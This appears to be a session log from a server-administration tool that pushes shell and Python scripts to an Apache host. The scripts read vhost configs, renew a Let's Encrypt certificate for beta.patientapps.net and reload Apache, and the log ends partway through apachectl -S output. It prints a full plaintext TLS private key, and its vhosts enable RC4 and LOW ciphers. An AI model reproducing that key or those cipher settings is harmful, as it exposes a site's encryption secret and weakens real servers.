	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:30:35: 

chmod 755 /tmp/pkp529816; /tmp/pkp529816; rm /tmp/pkp529816

2025-11-27 13:30:35: 
2025-11-27 13:30:35: 

PUT: /tmp/pkp954195

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/kjvdictionary_store_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:30:35: 

chmod 755 /tmp/pkp954195; /tmp/pkp954195; rm /tmp/pkp954195

2025-11-27 13:30:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/kjvdictionary_store_org.conf	1264

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 0bd3dd2627d170ec9a410582f882d78e
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= d74b630863e2e28921691dd981b95809
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= bfc13a47ba2cb7eb85974ef258005cd6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= f8f473dab8edcf6a27fad719dd33754a
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= 871e01cc22abafca329218d17ead1a20
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= d46ead59c1c57938d17f3471cf098c01
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 36d5ac9d7d8eb03e759bcf8f8a2b813f
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 3d5dc1bcfa9c0cec3b16af3076a6ea61
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 69454dedbff1b72b94ed9919a41770e6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= f8b0f22797df53674558935069440c30
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= f4314725714b50baf4294e40e36c5b64
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf


2025-11-28 06:00:03: Establishing a connection
2025-11-28 06:00:03: Establishing a connection
2025-11-28 06:00:03: 

PUT: /tmp/pkp904615

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-28 06:00:05: 

chmod 755 /tmp/pkp904615; /tmp/pkp904615; rm /tmp/pkp904615

2025-11-28 06:00:05: 


1


2025-11-28 06:00:06: Establishing a connection
2025-11-28 06:00:06: 

PUT: /tmp/pkp636488

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8


2025-11-28 06:00:06: 

chmod 755 /tmp/pkp636488; /tmp/pkp636488; rm /tmp/pkp636488

2025-11-28 06:00:06: 




2025-11-28 06:00:09: Establishing a connection
2025-11-28 06:00:09: 

PUT: /tmp/pkp803287

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8


2025-11-28 06:00:10: 

chmod 755 /tmp/pkp803287; /tmp/pkp803287; rm /tmp/pkp803287

2025-11-28 06:00:10: 




2025-11-28 06:00:10: Establishing a connection
2025-11-28 06:00:10: 

PUT: /tmp/pkp443863

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8

cat > $temp_file <<'endmsg'
a3:23:22:ea:10:73:5d:ba:3d:df:27:36:79:b9:80:ff

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBVN3buV8iJBQpNNmoRs6wJZVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI4MDUwMTM5WhcNMjYwMjI2MDUwMTM4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALvHWPdYKMRSAz7ko5C5PA1ZolBpM5GvZEm1rzNMQV+eNDWjr7Gtc1gn
hHyh/ncmFsRuud70D0oRNY146miyWMXV+F8P3mOq6WtlsBzWtbC3A6QgIQWHkZoS
rqPRbcw0E+2GQLKW6sr7MmgiLKbixhmiv9Myxx0pxsoDSvCwQ6RbH/pmXXqnHyoS
q5aJOcQhj+kCJHzGR/JEQvVd1epEepz3CpA0Bz5HIxRR6O4Ga1KjxH35Zz+fgl6v
S5lB/3jKfGE44NvJF8Lmw9gaS/r+SoipsgPoRaMOhYbXevRvXmQTLFo2Yr0wlqEW
F+dsqanPQchjeJbqTEozqtBmwNmhhicCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU5zq7lDSMl1P9Zv4/RzCmbkx+JmUwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmskMK+4A
AAQDAEYwRAIgPYGuUjYB+6SoMNMeVJ8RgOmySoy4/QRONTCz27qc1dMCIDbKOf9S
YGriuHjyi5bP8w4LXuYCPF7t4cNMiAzn4ZAYAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGayQwsAAAABAMASDBGAiEAzYz0R4xeN4SgmI4TQg/V
Np2z1gFUs7LAeoXFafwql4sCIQCxHwgW4RvagZ6OKA8stsg5HwXHKpKsLc/Bfy66
7IR+jzANBgkqhkiG9w0BAQsFAAOCAQEAMnpYOu8nAIqNpS+WumIxtbpeL2ZVltAx
725q6f5+qdysMTfBxtxAEXtlVKU8RjHFRewsfYGRxzcEItswhLEwmlJEgiOXB8AF
UC0cfnvxX1wtIJHrNIkyI2eNuCBAQbVP1PjLX5wkBOGHwXxCfvlcId0TpnL9wP+N
hoCPWrB2HOb7a3kMYavsUQdjW0WsKorUimc/JIOXUNyhM0liXwnoU8AsQ+6DZ46M
C7dW3XAVuF9nRb3I1C+Fca+BvjT3JLbajwj3xlubN8L/69wn8F8WQw0fiBH+38LQ
hqmYB/ibd3qjmudWRDCC6CgqbBY6KTZz8oNA1mqhfT0E/3GGL1DeqQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC7x1j3WCjEUgM+
5KOQuTwNWaJQaTORr2RJta8zTEFfnjQ1o6+xrXNYJ4R8of53JhbEbrne9A9KETWN
eOposljF1fhfD95jqulrZbAc1rWwtwOkICEFh5GaEq6j0W3MNBPthkCylurK+zJo
Iiym4sYZor/TMscdKcbKA0rwsEOkWx/6Zl16px8qEquWiTnEIY/pAiR8xkfyREL1
XdXqRHqc9wqQNAc+RyMUUejuBmtSo8R9+Wc/n4Jer0uZQf94ynxhOODbyRfC5sPY
Gkv6/kqIqbID6EWjDoWG13r0b15kEyxaNmK9MJahFhfnbKmpz0HIY3iW6kxKM6rQ
ZsDZoYYnAgMBAAECggEASklwGdJHtnsXi58aUlvltQZb32HvI9h2XW7CFBI73p8Q
2pOaIzmSYzKnCENyDyMDaMzBPcHh9pReUkyet7Kuyf1/V+RIP7fSxkkhZhdPI80T
ZK/NQInEgWaYrnhg7qM/qv0sxTpNQuYjp+y1K4SViHjJWL1C5nerjCnHUPb6m58+
jZ4XPQeWYQD8kb0nBnherYXgIVhiKWSTjUT6hTKckjt0K6VSs1/0Xa87ZHu2GoNR
pd1opxHM3pPREVnXJHFZP+wKeowHyGxHrGNVQtNdlreDnMfZuZL8QMLLX7FXx92r
D+YCmFAF7ZF2tuQOD8Qa8v4FCyMStFot2AzNddhgGQKBgQD3B0qc7KNgPmw43CL2
46HMSyzvslAIP1xRKEX2+woBXpHdVaks5gBlDDvYcdK1uUfMuL6QcNECq8qteXB1
/NC3pOgTyzdO/2QmKiynwfTpc87+id1AISZsJgOPMPir/NJH7BqxS3UIa0OE42ZN
yYfqqQtN63p0KW4seEZ7DxLoGwKBgQDCmTDGayvjkQYt+qG74pGVw2hH8ap/ElRr
Y7vWqI9NZ78sTzainBp4bKA/oDiKseG8z8tZGUpqpNsBB318WWcBmHNqNid/oiBC
5HOnOQ9g4hd4tuGdiAV8SZCCuvSGX6fyWMARjatrUet0IvjK62KYVBxXK3DQPpTz
nS/8npIS5QKBgAyX3ZDka2vDoua/KjUl46CzkGXj1DqnaEBm6jIuGBN7y7nZ3RcB
3rFID2D4ZIKJIITqQiTA65bURS/UygvpyIYkLQSdToODd4qOido/hAnGsp29T38u
cXP/+Bx7paG28M1j1vSE4UF9nmKO6S87/+bRmVbukz6KwigYNZeebBtTAoGBAMGz
oPRw63ALBJ6x81nFTmtH5j5u1OrGARggX3JtuK8xDP97HgRA5KxoXB7ZSk7sf6nl
ISHgZc2/qWvd28/yYfEZohDgNPL8G6baJjEXQDKM+xYi3HNlWSh9RYaLuCklgFRg
eVc/sJkUIw4oXYQHR84fM1KloBb5pGTWW1TXNsntAoGBAOjZmxphRnAZnW0vhCo5
Ir/pcBX+RdHNNhBnsGU/cQrwJ9NTXQ5yObPfDWof2tBbrCQe3+dej/K+t9TPYKOi
O8QGFfNayrPCsXC4foBJ8hQ542Ym4DlifZxZWIUva79HqFwgw50WuP7RNSicWorb
xiHBjMRKdjQ5LI2xYUV3PyqK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-28 06:00:10: 

chmod 755 /tmp/pkp443863; /tmp/pkp443863; rm /tmp/pkp443863

2025-11-28 06:00:10: 


dir=/etc/ssl/certs


2025-11-28 06:00:10: 

PUT: /tmp/pkp288002

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-28 06:00:10: 

chmod 755 /tmp/pkp288002; /tmp/pkp288002; rm /tmp/pkp288002

2025-11-28 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-11-28 06:00:10: 

PUT: /tmp/pkp436799

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi


2025-11-28 06:00:10: 

chmod 755 /tmp/pkp436799; /tmp/pkp436799; rm /tmp/pkp436799

2025-11-28 06:00:10: 




2025-11-28 06:00:10: 

PUT: /tmp/pkp954706

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-28 06:00:10: 

chmod 755 /tmp/pkp954706; /tmp/pkp954706; rm /tmp/pkp954706

2025-11-28 06:00:10: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-28 06:00:10: Establishing a connection
2025-11-28 06:00:10: 

PUT: /tmp/pkp198453

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-28 06:00:11: 

chmod 755 /tmp/pkp198453; /tmp/pkp198453; rm /tmp/pkp198453

2025-11-28 06:00:11: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
